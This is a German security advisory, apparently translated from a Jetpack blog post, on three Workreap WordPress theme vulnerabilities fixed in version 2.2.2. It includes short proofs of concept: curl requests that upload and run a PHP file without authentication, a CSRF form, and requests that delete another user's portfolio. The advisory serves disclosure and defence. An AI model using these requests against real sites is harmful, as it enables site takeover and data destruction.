Mehrere Sicherheitslücken im Workreap-Design von Amentotech

Veröffentlicht: 2021-07-07

Kürzlich hat das Jetpack-Team einige infizierte Dateien auf einer der Sites unserer gehosteten Kunden gefunden und die Infektionsquelle schnell auf das Workreap-Design von Amentotech zurückgeführt. Wir haben eine Untersuchung eingeleitet und eine Reihe anfälliger AJAX-Endpunkte im Thema entdeckt; Die schwerwiegendste davon war eine nicht authentifizierte, nicht validierte Upload-Schwachstelle, die möglicherweise zur Remote-Code-Ausführung und einer vollständigen Site-Übernahme führte.

Wir haben die Schwachstellen über das Envato Helpful Hacker-Programm an das Amentotech-Team gemeldet, und die Probleme wurden umgehend von ihnen behoben. Am 29. Juni 2021 wurde die Version 2.2.2 des Themes veröffentlicht, die die gefundenen Schwachstellen behebt.

TL;DR

Aufgrund der Schwere der Sicherheitslücken empfehlen wir allen Benutzern des Workreap-Themes dringend, so schnell wie möglich auf Version 2.2.2 oder höher zu aktualisieren.

Laden Sie das Upgrade von der Themen-Website herunter und installieren Sie es manuell oder führen Sie ein automatisches Upgrade über das Envato-Markt-Plugin durch.

Einzelheiten

Designname : Workreap
Design-URI: http://amentotech.com/projects/wpworkreap
Autor: Amentotech
Autoren-URI: https://themeforest.net/user/amentotech/portfolio

Die Schwachstellen

Aufgrund der Schwere der Schwachstellen werden wir die Veröffentlichung des Proof of Concept und der vollständigen Analyse verzögern, um den Benutzern Zeit für ein Upgrade zu geben.

Nicht authentifizierter Upload, der zur Remotecodeausführung führt

Betroffene Versionen: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284, CWE-641,
CWSS: 90.7
WPScan-Link: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

Die AJAX-Aktionen workreap_award_temp_file_uploader und workreap_temp_file_uploader haben keine Nonce-Prüfungen durchgeführt oder auf andere Weise validiert, dass die Anfrage von einem gültigen Benutzer stammt. Die Endpunkte, die zum Hochladen beliebiger Dateien in das Verzeichnis uploads/workreap-temp sind. Hochgeladene Dateien wurden weder bereinigt noch validiert, sodass ein nicht authentifizierter Besucher ausführbaren Code wie PHP-Skripte hochladen konnte.

Konzeptioneller Beweiß

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Mehrere CSRF + IDOR-Schwachstellen

Betroffene Versionen: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78.3
WPScan-Link: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Mehrere im Workreap-Design verfügbare AJAX-Aktionen fehlten der CSRF-Schutz und erlaubten unsichere direkte Objektreferenzen (IDOR), die nicht validiert wurden. Auf diese Weise kann ein Angreifer einen angemeldeten Benutzer dazu verleiten, eine POST-Anforderung an die anfällige Site zu senden, wodurch potenziell beliebige Objekte auf der Zielsite geändert oder gelöscht werden können.

In Versionen vor 2.0.0 fehlte bei diesen Aktionen die Authentifizierung vollständig und sie konnten von jedem Besucher der Website ausgenutzt werden.

Konzeptioneller Beweiß

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

Fehlende Berechtigungsprüfungen in AJAX-Aktionen

Betroffene Versionen: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CWSS: 68,5
WPScan-Link: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Bei mehreren im Workreap-Design verfügbaren AJAX-Aktionen fehlten Autorisierungsprüfungen, um zu überprüfen, ob ein Benutzer berechtigt war, kritische Vorgänge wie das Ändern oder Löschen von Objekten auszuführen. Dadurch konnte ein angemeldeter Benutzer Objekte ändern oder löschen, die anderen Benutzern auf der Website gehören.

In Versionen vor 2.0.0 fehlt diesen Aktionen die Authentifizierung vollständig und sie konnten von jedem Besucher der Website ausgenutzt werden.

Konzeptioneller Beweiß

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

Zeitleiste

24.06.2021: Vom Jetpack Scan-Team entdeckte erste Upload-Schwachstelle, die an das Envato Helpful Hacker-Programm gemeldet wurde.
25.06.2021: Weitere entdeckte Schwachstellen dokumentiert, Amentotech über Envato informiert.
27.06.2021: Version 2.2.1 veröffentlicht, behebt einige, aber nicht alle Schwachstellen.
29.06.2021: Version 2.2.2 veröffentlicht und Korrekturen vom Jetpack Scan-Team verifiziert.

Fazit

Wir empfehlen Ihnen, die aktuelle Version des Workreap-Designs zu überprüfen, das Sie auf Ihrer Website verwenden, und es so schnell wie möglich zu aktualisieren, wenn es weniger als 2.2.2 ist!

Bei Jetpack arbeiten wir hart daran sicherzustellen, dass Ihre Websites vor dieser Art von Schwachstellen geschützt sind. Um neuen Bedrohungen immer einen Schritt voraus zu sein, sehen Sie sich Jetpack Scan an, der Sicherheitsscans und automatische Malware-Entfernung umfasst.

Kredite

Ursprünglicher Forscher: Harald Eilertsen

Danke an den Rest des Jetpack-Scan-Teams für Feedback, Hilfe und Korrekturen. Vielen Dank auch an kailoon vom Envato Helpful Hacker-Programm für die Unterstützung bei der Kontaktaufnahme mit Amentotech und an Amentotech für eine schnelle Antwort bei der Behebung der Probleme und der Veröffentlichung der aktualisierten Version.